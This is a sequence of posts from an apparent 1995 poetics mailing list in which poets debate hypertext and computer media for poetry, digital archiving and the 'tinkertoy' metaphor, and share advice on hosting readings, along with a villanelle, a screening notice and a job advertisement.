> *The computer also brings some difficult *problems* to the table. Given the rapid pace of change in the computer industry, how easy will it be to find a computer 50 years from now that can run today's computer poetry? Whose burden is it to be sure there's a way to display the work? A lot of questions to be answered.*

The ability to archive and reproduce digital work really is a big problem. Although one of the good things about HTML is that is (or at least 'was') a part of SGML, a standard designed, partly, to allow the preservation and reproduction of the structure as well as the content of complex documents. I guess that it will get easier and easier to translate such structure from on system to another and that much of the work now being done will be able to be reproduced.

[Thanks also for the kind words, Jim ...]

John

- - - - - -
John Cayley Wellsweep Press [in Chinese HZ:]
^ fine, innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
1995 URLs: http://www.inforamp.net/~cayley [= home]
+ /wshome.html [= Wellsweep]
+ /inhome.html [= Indra's Net]
- - - - - -

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596. **John Cayley**

Inscription in complex media - was: Hypertext & Poetry...

Fri 27 Oct 1995

[longish post warning]

Ron Silliman wrote:

> *My sense is that any work in hypertext that is good would be good writing in an absolutely hide-bound traditional print format...*
>
> *Also, the word on the street is that the archivists are avoiding collecting disks of manuscripts like the plague, even though in many programs you could tell, for example, how many levels of revision (and length of composition) were involved.*

...

> *These tools at hand are still very primitive, if we just envision what they will look like in 100 years...*

Joe Amato responded (in part):

> *i would simply like to add that this does NOT mean (nor do i take ron or jim as suggesting anything of the sort) that folks shouldn't wander off and play in said tinkertoy directions... i learned a lot, methinks, from TINKERTOYS---and building blocks...*

Yes, much of the good writing that has been inscribed as hypertext would be good in other media. But this is not an argument which implies that it *should* appear in another form. That is a decision within the gift of the writer. Some writing, however, either could not exist in more 'traditional' media, or would not be so elegantly presented as it would in cyber/hypertext (there is a useful distinction here, btw).

In particular, I mean texts where 'chance operations' and/or algorithmic transformations are applied to given texts and the writer insists that the 'real time' results of these procedural operations *are* her inscription on the surface of a complex medium. (Where did I get that formulation from? Was it from someone on Poetics?) I would also argue, as I have elsewhere, that the cybertual author has the potential to compose procedures themselves and this should become a recognized part of the process of inscription/writing.

As for elegance of presentation: it would be possible to transpose Jim's _Intergrams_ to paper-like media in, perhaps, a huge book-art installation. But one of the beauties of this work is its elegance -- the deep complexity produced by the layering which his HyperCard form allows; the ability not simply to move through layers of word clusters, but also to move up and down a syntactically structured hierarchy of such clusters, to obtain multiple views of the 'same'

content. All this is done with minimal, and as I say, elegant programming. That said, it is the content-as-form which is the tenor of the (all) work, leading to its ultimate significance.

So what if the cybertext systems of the new millenium will be tiny implants with the power of a Cray? Today's text processing system is *not* the civil war typewriter of tomorrow, because it is realized on shape-shifting silicon and I guess that the computers of tomorrow will not be qualitatively different from the computers of today (i.e. they will still be faceless,invisible machines programmed to perform as any all as-yet-undreamt-of appliances). The computer underlies the systems we're using but it is not to be identified with them. It transforms itself into typewriter, typesetter, cybertext system, etc, etc through software. Primitive software needn't be written off, it can be rewritten or 'upgraded'.

Computer-based hardware/software configurations became potential media for literary art in, I would say, the late 80s when reasonably designed screen fonts, wysiwyg, and software such as HyperCard first appeared. Now that the WWW is with us, there is *no* reason not to make substantive use of the various potential media available [-- and transpose the 'good stuff' back into print if you insist].

There's a more serious problem with the idea of writing underlying Ron's post, as if there is something called 'writing' which exists independently of its actually inscription in a particular medium, and which, *if* it is 'good', has the additional quality of being capable of transposition into media with which we are more familiar. Does this hold up?

The archivists Ron cites are wrong, wrong, wrong. It is not for the archivist to determine what is a proper record of the writers' processes of composition. If a writer happens to make a draft on a disk using the first version of Wordstar usign a Sirius PC, or on the inside of a matchbox, and then later destroys or encrypt all early drafts of an unpublished work that circulated on the bulletin board of a private network -- I just can't see that the archival or text critical problems this might cause are made *qualitatively* different because of the media used, or that this indicates that we should all make sure to *get it down on paper* in order to keep the librarians happy.

Finally, although I completely accord with the tenor of Joe's light-hearted response to Ron's post, I can't help baulking at the image of the tinkertoy (which I also learned from during a Canadian childhood), the implication that *despite* the likelihood that these systems will appear to be *toys* to the right-thinking, we can nonetheless use and learn from them in our spare time.

Computer-based systems are emphatically *not* tinkertoys, not even in the world of letters. They are what we make of them. There is bound to be a ludic

element in the wide spectrum of current cybertextual work, but then, hasn't there been a ludic element in much experimental work generally? And isn't the ludic OK anyway?

John

- - - - - -
John Cayley Wellsweep Press [in Chinese HZ:]
^ fine, innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
1995 URLs: http://www.inforamp.net/~cayley [= home]
+ /wshome.html [= Wellsweep]
+ /inhome.html [= Indra's Net]
- - - - - -

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597. **Robert Drake**
Re: Hypertext & Poetry Possibilities
Fri 27 Oct 1995

---

glad to see that th hypertext thread here is expansive enuf to include various print-based media, as well as on-screen... the various lists devoted to HT normally & vehemently aren't so generous. an excellent source of info & inspiration for creative presentation of work-in-print would be book-artist Keith Smith (keith smith books, 22 cayuga st., rochester ny 14620), particularly his _Text in the Book Format_. the thread also reminds me of cage's multilayered constructions of text on plexiglass...

lbd

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598. **Gale Nelson**
Re: poetry with a tech slant: anthology
Fri 27 Oct 1995

An anthology that includes none of the persons on your list for technology and poetry, I would still suggest turning your attention to the Blue Mustache (Elizabeth Press, I believe) -- an anthology of Italian Futurist Poetry in translation.

MM's poetry will sometimes move in the mechanized way of early 20th century machinery; she would turn up in many of the modernist anthologies which would/ should include WCW and LZ.

J. Drucker's work would seem appropriate in this context -- both in its (largely old-technology) production and (her prose work) in content.

R. Waldrop's _Camp Printing_ shows to interesting effect old (letterpress) and new (offset) printing techniques working together to make fascinating visual literature.

Cheers,

Gale Nelson

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599. **Gale Nelson**
Re: wagering poetics
Fri 27 Oct 1995

Beth,

Judith Goldman, a recent graduate of Brown, who is now living in New York, has done some fascinating poetic projects; among them, a series of Rubik cubes, repasted with language. Each "twist" of the cube leads not toward solid colors on each of the cube's sides; but rather, to a new poem. She also has designs for some fantastic poetry organs, that would inflate different word patterns based on chance fillings of various word balloons. She also works in collage and "inspiration" (meaning she sits down and writes) methods.

While it is not a chance operation, _The Pumice of Morons_ was an interesting S + 7 project (Clark Coolidge and Larry Fagan?), produced shortly after the Clinton innauguration by The Figures Press.

Gale Nelson

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600. **Edward Foster**
Re: Wallace and fiscal poetry
Fri 27 Oct 1995

---

jonathan: back to the money/poetry/stevens matrix. wd this be interesting to pursue further--siena, the medicis, alchemy, plato, poetry, all those astonishing links such that a + b equals more than c. it won'y make friends but can make interest. stevens was not taking about money as machinery but as magic. -ed

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601. **Bill Luoma**
Pitch of the Sun
Fri 27 Oct 1995

The warp of the sun

woofs @ 1 cycle

every five

minutes can

not here here

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602. **Charles Bernstein**
You - the City NY Screening
Fri 27 Oct 1995

There will be a NEW YORK screening of

Fiona Templeton's

YOU -- THE CITY

at Millenium, 66 East 4th Street

7:15pm Thursday, November 2

for information about the film and video versions of _You -- the City_ contact Fiona Templeton at 100 St. Mark's Place New York NY 10009 [redacted].

You -- the City the book is available from Roof Books.

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603. **Eryque Gleason**
Re: wagering poetics
Fri 27 Oct 1995

Gale, your mention of Judith Goldman's work sounds very interesting! where can one fid some of it to have and to hold or at least oggle for a while? the cube and the organ sound very interesting.

eryque

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616

If I weren't a monkey, there'd be problems...

[redacted]

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604. Timothy Liu
Yet Another Vilanelle
Fri 27 Oct 1995

As a poet who wants to keep my Non-Conformist's Manual
and Haw Lantern too, I offer up this vilanelle:

Who shall we turn to now
when all is said and done--
Seamus Heaney or Susan Howe?

All ye poets who kowtow
to the avant-garde as one:
who shall we turn to now

if Academia should vow
to neither shelter nor shun
Seamus Heaney or Susan Howe?

(Buffalo and Harvard foul
as any other Institution.)
Who shall we turn to now

to mend the broken bough
of Sweet Poesy? C'mon 'hon!
Seamus Heaney or Susan Howe?

(Can't we be friends?) Holy Cow!
Another Nobel already won,
who shall we turn to now--
Seamus Heaney or Susan Howe?

--Timothy Liu

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605. Jordan Davis
readings desiderata
Fri 27 Oct 1995

Dear gang, would people with years of experience hosting readings (and giving readings) provide a few comments on what would make readings more a) pleasant b) productive c) astonishing experiences for reader, host, and audience?

Jordan

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606. **Joe Amato**
Re: Inscription in complex media - was: Hypertext & Poetry...
Fri 27 Oct 1995

---

john, nice discussion, from my pov anyway... yes, you're right---there was an implicit condescension in my choice of tinkertoy as proto/tool/col---and it suggests a developmental-evolutionary model of composition/construction, in any case, a movement from toys (today) to serious tools (tomorrow)... the progress-ive displacement of doing something significantly different, in formal terms, b/c of a latent bias toward unmediated content (read "preference for a specific formal content")... which i would like to avoid, in fact, however 'powerful' or 'sophisticated' our future media/tools may be... the inverse of my (faulty) logic leading, of course, to the infantilization of all that has come (long) before us as "primitive," "child-like"...

still, there are times i would wish to reclaim the ludic in child-like terms, without any residual connotation of childish drivel... my (childish?) utopian urges prevailing here, methinks...

anyway, yes, the formal qualities of the medium cannot be neglected or transcended, finally, without a corresponding reduction in potential value, if you will... from my pov, there's always the specificity of mediation to consider... this is what the emergence of electronic form, for one, has raised to the fore...

all best////

joe

↑ Index

607. **Burt Kimmelman**
Re: burt kimmeleman's course
Fri 27 Oct 1995

Beth, Charles, Gale et alia,

Thank you for your very good help. I was going in circles for a while there but now I feel like I have a direction and am well on my way.

Burt

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608. **Charles Alexander**
Re: Hypertext & Poetry Possibilities
Sat 28 Oct 1995

> *There is also what the computer allows you to output to paper and related media -- the ability to achieve typographic effects (shading and distortion of text, etc.) which would have been impossible or prohibitively expensive before desktop typesetting. Mulit-linearity in a piece, for example, can be representing by different colours or shades (as well as using transparent sheets as Charles suggested).*

Actually, I think this assumes that you would be paying someone to accomplish such typographic effects for you, rather than doing them yourself on a letterpress or with offset printing methods. And, I know, many more people have computers than have such presses -- but, in fact, my Vandercook letterpress I bought in 1979, and another I bought a couple of months ago, even taking the cost together, set me back far less than the computer I bought in 1989. There are people who pay others to achieve such typographic effects using the computer, rather than doing such things themselves; that is also prohibitively expensive for most of us.

So I'm probably just carping here, but it's interesting the way the computer tools have created a bunch of do-it-yourselfers, far more than were created by the inexpensive proliferation of letterpress equipment which occurred when letterpress became commercially outmoded a couple to four decades ago. And I'm a convert, too, although only amazingly envious of the skills developed by such as Jim Rosenberg & John Cayley.

all best,
charles

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609. **Charles Alexander**
Re: Inscription in complex media - was: Hypertext & Poetry...
Sat 28 Oct 1995

> *There's a more serious problem with the idea of writing underlying Ron's post, as if there is something called 'writing' which exists independently of its actually inscription in a particular medium, and which, *if* it is 'good', has the additional quality of being capable of transposition into media with which we are more familiar. Does this hold up?*

I admire Ron immensely, but I hope this doesn't hold up. Much of the work I have done in books has intended to create meaningful reading experiences, so the books (particularly the handmade books in various exploratory formats) are intended as wholes. They are not the only possible realization of the written

works by any means, but I would like to thinkthey are more significant than eventual footnotes as "deluxe editions" of works which in some distant future will only be seen in the rather banal presentation of an author's collected poems or collected writings (including my own). It is the variations in reading contexts, as much as "the words themselves" (I once wrote, somewhere I don't quite remember -- "there never is such a thing as the words themselves"), which need to be preserved. Emily's dashes, Blake's illuminations, and meaningful (to the reader, writer, other makers) editions of works, in paper or hypertext or other media to be developed, which may not be entirely under the direction of the author (but which hopefully have her approval).

> *Computer-based systems are emphatically *not* tinkertoys, not even in the world of letters. They are what we make of them. There is bound to be a ludic element in the wide spectrum of current cybertextual work, but then, hasn't there been a ludic element in much experimental work generally? And isn't the ludic OK anyway?*

Yes, they are what we make of them. But don't we, at times, do it with a sense of imaginative play. Tinker toys and Lincoln logs may have been my toy of youth; duplos and legos to more recent children (and they are still with us); but one of my daughters' (now ages 2 & 6) tools to learn about making/building will be the computer. I know the 6-year-old already thinks of computer time as play time. Is that wrong? I hope not.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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610. Charles Alexander
Re: readings desiderata
Sat 28 Oct 1995

> *Dear gang, would people with years of experience hosting readings (and giving readings) provide a few comments on what would make readings more a) pleasant b) productive c) astonishing experiences for reader, host, and audience?*
>
> *Jordan*

Jordan, so many things, like -- big enough space, but absolutely not too big; enough light to read by and see reader, but, again, not at all "bright." also,

there needs to be quiet in the space (having suffered recently from having readings & talks in a small area of a large space with fluorescents which constantly buzzed, driving me crazy); give options to reader as to whether to sit or stand -- if sitting, table in front or at side of reader is nice; if standing, i like a table or stand to the side for papers, but do not like standing behind podiums, and do not like music stands unless they are extremely sturdy ones. I think readings are best in settings which do not need amplification of reader via microphone, mixer, & speakers -- but if there's any question at all, by all means have these things, and have decent ones, well tested beforehand. If possible, allow for semi-circular seating, giving everyone in audience a direct view of reader/readers. Yet I think all of this can be done and remain in a relatively informal setting, not requiring an auditorium (small or large) setting, which sets up more of a distance between reader and audience.

I think I'm talking mostly here about readings for audiences of 10 to 80 people. For more than that, unless the space is very carefully arranged, a small auditorium may work best. And I've both been to and given readings in mid-sized (200 - 600) auditoriums which worked very well. Still, I prefer the more intimate settings.

All this said (and much more which probably should be said), the key ingredients are still reader and audience. As a reader, great audiences (such as at Small Press Traffic, or Canessa Park, or Ear Inn; or, in quite a different sense, at U-Alabama) have made for great experiences. And certainly audiences recognize when a reader is really connecting both with the work and with the audience. It's a complex interaction which, strangely enough, often works quite well (and often doesn't).

You also ask about what makes it work for the host. Having been one for small readings and large festival readings, it seems to me that if it works for reader and audience, it will work for host. Also, the host has to relax. There's no way that everything will be ideal, yet the best readings transcend their physical circumstances, anyway.

And it can always help to have Kevin Killian do the introductions. Seriously, introductions are important, and ought to give some insight into what is to come, but should never go so far as to condition what one is to hear. I heard the worst on a recent videotape, in which the introducer told the audience what the author was up to and what was important about her or him, then came on again after the reading and commented on what was just heard. That's just unforgivable.

Are you asking these questions because you're about to launch a reading series?

all best,
charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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611. Tenney Nathanson
& Ralph Waldo
Sat 28 Oct 1995

> *Date: Fri, 27 Oct 1995 11:57:48 -0500*
> *From: Edward Foster <[redacted]>*
> *Subject: Re: Wallace and fiscal poetry*
>
> *jonathan: back to the money/poetry/stevens matrix. wd this be interesting to pursue further--siena, the medicis, alchemy, plato, poetry, all those astonishing links such that a + b equals more than c. it won'y make friends but can make interest. stevens was not taking about money as machinery but as magic. -ed*
>
> ---

I seem to be the tone-deaf piper in this thread, so I'm probably missing some dark & twisty twist here--but, yeah. That was the point more or less of my since-maligned (by Jonathan) note on Emerson and capital. What Wallace made happen w $ (the Java box for example) was a lot like what he made happen w poetry, or in it. (Whereas) even in his relatively anti-capitalist phases, or moments, the power of imagination Emerson extols is frequently described in terms that bear a striking affinity to what capital can be understood as doing. One needn't find this altogether beneficent to find it interesting. (& then of course there's the whole cash-nexus trope in /Pragmatism/, that Emersonian inheritance [ahem] passed on in turn to Stevens.)

Speaking of Pound, the essay by I think it is Andrew Parker, in the Arac collection /Postmodernism and Politics/, does some very smart mapping of Pound's anti-semitism onto both his Douglasite economics and his vision of language, in ways conversant w Kristeva's treatment of anti-semitism in Celine.

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612. Kenneth Sherwood
tinkertoys
Sat 28 Oct 1995

The too would take issue with an "idea of writing ... which exists independently of its actually inscription in a particular medium" though I'm not sure Silliman wouldn't also reject such a notion of the immaterial.

Paying attention to the various technologies of presentation available to writing, now, at this point, does make me want to second (or did I already 2nd it) Joe's assignation of "tinkertoys".

Calling various forms of computer-writing tinkertoy technology is absolutely right, since these forms WILL become outmoded because of the role this tech plays apart from poetry. The "BOOK", itself a technology which has changed (hand scripted to letterpress to desktop lazerjet) does not tend to outmode itself. The product, eg my 1899 Small, Maynard and Company _Leaves of Grass_ works still, and quite as easily, as _Poems for the Millenium_ 1995.

Reading the media surrounding the computer industry should make nothing more clear than that (1) it is a technology of designed obsolence and (2) it is almost implicity obsessed with its own devolopmental design curve. (viz my version of Mosaic software which sports pull-down menus which result in the message 'feature not impletmented yet'.)

This (economic) condition needs to be dealt with, and then we still go on writing in that space, working with our tinkertoys (which are such only because the designers are at work relegating them to that status) and profiting from their seeming possibilities and limits.

Ken

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613. Ron Silliman
Re: Inscription in complex media - was: Hypertext & Poetry...
Sat 28 Oct 1995

John Cayley writes, of academic librarians who are shying away from collecting materials in disk form as part of literary archives,

> *The archivists Ron cites are wrong, wrong, wrong.*

I agree completely. Moreover, I've been surprised at their stance. One would think, given, say, the status of re-creation in painting (for example), that some program somewhere would take it upon itself to preserve early operating systems and applications, in and for themselves, and to create the methodology for "restoration" of lost materials. There's probably a lot of literature already

"lost" on C/PM and other pre-DOS desktop systems and untangling the flavors of UNIX could become a career in itself.

By the way, John, I'm not suggesting that works of writing should or should not be on paper or on interactive systems, or other modes (I've mucked around with "slide" presentation programs like PowerPoint and Freelance and even Harvard Graphics and could imagine using Macromind Director as a staging tool). But rather, in work that resonates over time, there is a relation between the words that will carry the text forward, regardless of the presentation. Otherwise it would have been a "mistake" ever to have written Homer down.

Ron

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614. **Ron Silliman**
TinkerToy
Sat 28 Oct 1995

I too am pro-Tinkertoy. Poetry needs that sense of limitless freedom and possibility. Similarly, it needs humor and a whole slew of other "less than serious" (or at least less than pompous) devices. Reading Anselm Hollo and Ted Berrigan last night to my 3-year-old twins, realizing just how important it is that poetry can have that dimension, and how vastly undervalued it is (and people like Anselm, or Jack Collum or Jonathon Williams, for example).

Ron

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615. **Ron Silliman**
Re: readings desiderata
Sat 28 Oct 1995

You wrote:
>
>Dear gang, would people with years of experience hosting readings (and
>giving readings) provide a few comments on what would make readings
more a) pleasant b) productive c) astonishing experiences for reader,
host, and audience?
>
>Jordan
>
Having done three series over the years (Grand Piano, Tassajara Bakery,
The Farm), my sense is that the very best readings took place when
there was a slight aesthetic tension between the readers, enough for

each to set the other's work off in a new light, and to bring in an audience that would be "exposed" to the work of the other in some way for the first time. Best single reading I ever coordinated was probably George Stanley and Ted Berrigan at the Grand Piano. We had maybe 60 people for each reader (and the place really only held about 80, so it was crammed probably past the fire department's limits) and very few seemed even to have heard of the other poet. Unfortunately, the poets held separate parties for their own entourages afterwards. I recall, at the Berrigan party, some local NY school wannabe putting George's poetry down (not even aware of, say, the connections to Spicer et al or of the Vancouver scene) and Ted cutting this geek down instantly, explaining concisely and explicitly what was terrific about Stanley's work.

But there is always a huge risk in such a combination. Too often we held readings that simply convinced the other's audience that the reading was for The Other community, so both stayed away. (Tom, did we really combine Simon Ortiz and Judy Grahn? Or have the brain cells simply melted back there?)

I always think the best reading series have a visible sense of shape, of argument. As such. The demographic/aesthetic scatter that characterizes the typical college series (trying to please each constituency) tends to drain that away.

Imagine each season as though it were a book,

Ron

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616. **Chris Stroffolino**
Re: & Ralph Waldo
Sat 28 Oct 1995

I've been reading the Emerson-Stevens Money thread with some "interest"-- I wonder what kind of "toll" it has taken on me (for surely once the microcosm-macrocosm metaphor is entertained it becomes difficult to wish or wisk away without a shot of Lethe that Universal Health Care would surely make available to all)--- "Seriously" however-- I have often distrusted and been skeptical of (which isn't to say I myself do not "employ" I mean "deploy" perhaps far too much) the linkage it seems Nathanson for instance is making (though I too may be tone deaf)--not so much between "politics" and "poetic form" (via a bi-directional OF),but between....Maybe this is better stated by way of an "oversimplistic" Spielbergian (alias Manichean) binary a fellow-teacher of mine told me she used to generate class discussion: She wrote STEVENS=InSURANCE SALESMAN and WILLIAMS=DOCTOR on the board

and basically meant the former as "evil" and the latter as 'good"-- Such a GRID seems to lie at the "root" of much recent work (again the work on Yeats' Fascist Metrics coming out, for instance) and I am curious WHY people seem to be so interested in such arguments? I may be seem to be conflating two things here, two kinds of "form" that seem to "inform" the "content" of the poem. Insofar as the form is the content, to what extent is the POET the POEM? And though these are important questions, the whole notion that the reader and the writer are collaborators in the making of the work, if taken seriously, would seem to render questionable predetermined notions of exactly what STEVENS' or WCW's (for instance) stance truly is--insofar as their work lives more in the (un?)consciousnesses of those who read them than it does in the books. But, when the question of poetry as a kind of money comes up (as in THE MERCHANT OF VENUS), I don't mean to beg it. But, it's always possible that such "large-scale cultural thinking" may not be that different from the kind of so-called "solipsism" that is purely aesthetic (also in quotes) like "the chance meeting of a sewing machine and an umbrella...". In other words, money as poetry and poetry as money (either way), in Stevens and in Perelman, and in others, are tropes, metaphors with two vehicles vying for the status of tenor. And theory here can be "endlessly productive" no doubt but FOR WHAT? cs

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617. **Chris Stroffolino**
Re: & Ralph Waldo
Sat 28 Oct 1995

(continued from last note--which ended with FOR WHAT?)
or FOR WHOM? cs

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618. **Charles Bernstein**
Positions open at Wayne State University (fwd)
Sat 28 Oct 1995

---------- Forwarded message ----------
Date: Sat, 28 Oct 1995 11:05:33 -0400 (EDT)
From: Barrett Watten <[redacted]>

WAYNE STATE UNIVERSITY
ENGLISH DEPARTMENT

Two positions available:

1) American Literature and Culture. Asst./Assoc. Prof.

2) African-American Literature/Cultural Studies. Rank open.

Ph.D. in English or related field. Evidence of strong research interest and capability in the field of specialization. Minority candidates especially encouraged to apply. Send letter, c.v., and writing sample to Interim Chair, English Department, Wayne State University, Detroit, MI 48202. Wayne State University is an equal opportunity employer and actively seeks minority candidates.

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619. **Jim Rosenberg**
Re: Hypertext & Poetry Possibilities
Sat 28 Oct 1995

---

luigi-bob drake:
> glad to see that th hypertext thread here is expansive enuf to
> include various print-based media, as well as on-screen... the
> various lists devoted to HT normally & vehemently aren't so
> generous.

There's one thing that has to be said here and SAID LOUDLY: I hope no one comes away from this discussion thinking that those of us doing experiments with various computer media are trying to hype these media as in any way "superior" to the traditional ones. We've seen this movie before in the poetry world, and it has a bad ending. There were some among the Concrete Poets who took a very polemical stance about "straight" poetry [*their* term] being "obsolete" compared to Concrete Poetry. It's simply impossible to calculate the damage to poetics that this caused. The mind simply boggles at the thought of what might have come out of a real dialogue between the concrete poets and the Black Mountain poets -- but it never happened. You can call this a prejudice if you want to [I'm gonna get myself in trouble for this] but I and most of the poets I know blame the concrete poets for this: they weren't interested in dialogue. That catastrophe set back the cause of poetics by 20 years at the least. (Even today, right here on this list, how often do we talk about visual poetry, and what visual issues mean for poetics???) It would be a very deep tragedy indeed if those of us who do hypertext repeated this same mistake.

There *are* those in the hypertext community who are a bit loose with unguided missile phrases like "death of the book", "late age of print", and so on; I'm record as saying I don't think we do ourselves any good with that kind of talk. There is one house of poetry, it includes us all regardless of media.

When Judy Roitman sent me her poems she said she thought I'd find them "ordinary". This was painful to hear. Sure, if I look at the poems with my glasses off maybe nothing will jump out and strike me as unusual, but reading

the poems there was nothing ordinary about them at all: the effect was very complex and subtle even though you couldn't ascribe that to "media".

Since this is World Series time, please allow me to cite that celebrated literary theorist, Hank Aaron. A sportswriter (whose name escapes me) was interviewing Hank Aaron, and being just insufferable trying to show off his baseball knowledge. He set out a truly arcane scenario and was trying to get Hank Aaron to say what kind of pitch he'd expect in that situation -- such and such was the score, such and such was the count, such and such runners on base -- on and on. He finally finished, turned to Hank Aaron and said, "And what would you look for in that situation?" Hank Aaron looked him in the eye and said, "I look for the baseball."

I do love to get into these issues of media, but really, that pretty much says it all: When you get right down to it, it doesn't matter if you're using the latest unavailable research software, or writing out a poem longhand, or just sitting on a tree stump composing words in your head. Ultimately, all of us, day in and day out, have to just go out there and look for the baseball.

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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620. **Jim Rosenberg**
Re: Hypertext & Poetry Possibilities
Sat 28 Oct 1995

[This message overlaps some of the things John Cayley already posted, but I'm going to post this anyway.]

Ron Silliman:
> My sense is that any work in hypertext that is good would be good
> writing in an absolutely hide-bound traditional print format.

Part of me can agree with this, but another part wants to rise up and say, "Them's fightin' words!"

I agree that hypertext writers have the same burden as every other kind of writer to write well; ultimately it is indeed the words themselves that matter; if you extract words from a hypertext and look at them on the page then they should bear the same level of artistic weight that out-of-context extractions from a traditional poem should bear. The key phrase here is: "out of context" -- and one has to be clear it is exactly *extractions* that are being dealt with.

Ron, if what you're saying is that the words of a hypertext should work just fine on the page as a linear "hide-bound traditional print" poem, I've got a problem. That is tantamount to saying that the non-linear structure just plain doesn't matter. I would venture to say (even though any such statement as this is risky) that *every person on this list* has encountered people who are uncomfortable with poetry, who when dealing with a poem frankly wish that the author had written something other than a poem. Never mind, we write it as a poem because we feel that is *the only way* it will work. So too with hypertext: ultimately one writes a hypertext from a belief that no other medium will do; the non-linear structure is not some kind of "illustration", it is integral to the content.

Does Ketjak "work on the page" if I print it one word per page? Maybe, but it isn't the same animal. Suppose you take a poem by, say, Robert Duncan -- one of the Passages series for instance -- and print it as a prose block. Maybe it "works" this way, maybe someone who knew Duncan's work well enough could reconstruct the line breaks anyway, but we can all just imagine what Duncan's outrage would have been at this sort of thing.

To stand this issue completely on its head: my own interest goes in the exact opposite direction, namely using hypertext to carry the infrastructure of language itself: hypertext inside the fine structure of language, *inside the sentence*. The piece I am working on now (which is taking *forever* to execute, alas) uses simultaneities nested many many layers deep, in some cases going inside the sentence. In this case I'm not even sure what "would be good writing in an absolutely hide-bound traditional print format" *means*. The idea that a hypertext can be rendered on the page in some fashion is based on a "lexia-centric" view of hypertext; ('lexia' is a term borrowed by George Landow from the writings of Barthes to mean the unit of text at either end of a hypertext link) but dematerialization of the lexia has been an active topic of discussion in the hypertext community, to which I and Stuart Moulthrop among others have contributed. To recast Ron's statement in the current lingo of hypertext rhetoric: Ron asserts that the lexia themselves should work on the page as writing. Surely lexia should be good writing -- if there *are* lexia. But one interesting direction in hypertext is to employ interactive structure operations to the point that the concept of lexia itself ceases to have much meaning.

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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621. **Jim Rosenberg**
Re: Hypertext & Poetry Possibilities
Sat 28 Oct 1995

Gabrielle Welford:
> The thing that bothers me about hypertext (which I've never
> used, so I may be talking up a grass snoot) is the time element. You
> wouldn't actually be looking simultaneously through one word at another.
> There'd be a time lapse wouldn't there?

That would depend on how it's actually implemented. You *could* implement this by "exploding" a word cluster so that all the elements are visible on the screen at the same time. I've been reluctant to do this for a couple of reasons. First of all, if the cluster is heavily nested there simply may not be enough screen real estate to accomplish this. Second, graphic print conventions would impose an order on the elements to some degree. This is a hard problem to deal with, but I like a form of interactivity where by using the mouse the user can choose which element to go to.

So you are right, that done the way I do it there is a time lapse. The whole issue of how time should work in hypertext -- poetic time particularly -- is the biggest single area in hypertext where I feel things are not well understood. I hope to achieve a sense in which time is somehow "disengaged" -- running free, so to speak. Of course this is an illusion: in an obvious sense one's *experience* of a hypertext is linear by virtue of time. But it is the reader's time, not the writer's time. I have an intuitive sense of units of time that are somehow "interchangeable" -- but whether this really comes off in the poem I'm not sure. Time in a hypertext has to be local units spatially anchored, it seems to me.

How should sound work in a hypertext? This is a very similar issue. To be perfectly candid about it, I'm still grappling with this. Of course sound brings the time issue to a head: sound brings with it its own sense of time. How does one reconcile a "disengaged" sense of time under the control of the reader with an inflexible concept of time brought by sound? Again, time is constrained via "local units of sound", but unconstrained in the large.

How does one *program* time? There are some very difficult questions here. (I hope John will jump in on this, since he's done the most interesting work I've seen with programming time in computer poetry.) One thing I like to say to myself all the time is that:

Syllable Time is not equal to Real Time

In syllable time our impression of time -- in English at any rate -- is heavily dominated by retroactive impressions based on what's happening with *stresses* more than an absolute musical sense of time that a composer would have. Let me give an example of what I'm talking about. Back in the early 70s I did a number of pieces on magnetic tape using simultaneous overlays of my own voice. Somewhere in this process I hit on the idea of using tape loops to get very precise control over the way that the individual tracks were offset. I would make a tape loop out of the overlaid segment I already had, make a tape loop out of the new voice I was adding, and by delaying one or the other loop slightly I could shift the overlay until I got exactly what I wanted. (It does some interesting things to one's head to play tape loops for hours on end ...) I had a composition schema that told me an overlay structure I was trying to achieve, and I remember very clearly one case where I wanted all the attacks (in the musical sense of the onset of sound) to line up. As one particular overlay went around I knew I had nailed it exactly. I cut the loop and spliced it in, and indeed the attacks lined up perfectly. Then for some reason I started playing it back slowed down. What I heard shocked me. At full speed it sounded like the attacks were dead simultaneous, but at slow speed it became obvious that the attacks -- in the musical sense of the word -- were not simultaneous *at all*. So why did it sound that way at full speed? Because the *stresses* were dead simultaneous! I was "hearing" the attacks as being right at the same time "retroactively" because the stresses hit at the same time.

So again the question: How does one *program* syllable time? I frankly don't know the answer to that. At a naive go, a programmer's time is likely to be absolute musical time. John?

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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622. **Joe Amato**

Re: Hypertext & Poetry Possibilities

Sat 28 Oct 1995

---

this seems as good a time as any to insert into this discussion an excerpt from jed rasula's _the american poetry wax museum: reality effects, 1940-1990_ (ncte)... i'm not through reading jed's book, but nary a page i turn when i don't find mself forced to stop and consider what he's saying, and the precise

provocations and passions with which he sez it... if it wouldn't bother folks to say so, i might say jed's book is a must-read...

anyway, here's the excerpt, from chapter 1, p. 33:

"While the 'carceral archipelago' and the 'exhibitionary complex' developed contemporaneously, the latter requires institutions 'not of confinement but of exhibition' (Bennett 124, 123). The exhibitionary complex is instrumental in organizing consent, effecting voluntaristic unanimity by remote promptings. The exhibit, reified into the enshrined venue of the museum, is a prototype version of hypertext, training populations in the art of reassembling fragmentary evidence into coherent narratives. The museum is a transitional education in the negotiation of hyperspace, the solipsistic euphoria of simulated connectedness. It need not be carceral because its inmates are self-regulating. The museum begins with the goal of character building and ends up in the zone of interactive technologies, the task now being that of 'building a person' in the cyborg world. When Friedrich Kittler characterizes the book of poetry as 'the first medium in the modern sense,' I think not only of 'McLuhan's law, according to which the content of a medium is always another medium' (115), but of the spiritualists' *medium*, also known as the 'control.' My concern, in elaborating this thesis of a poetry wax museum, is to suggest that the seemingly autonomous 'voices and visions' of poets themselves have been underwritten by custodial sponsors who have surreptitiously turned down the volume on certain voices, and simulated a voice-over for certain others. Nothing defines the situation more succinctly than the police phrase *protective custody*."

(** = author's emphasis)

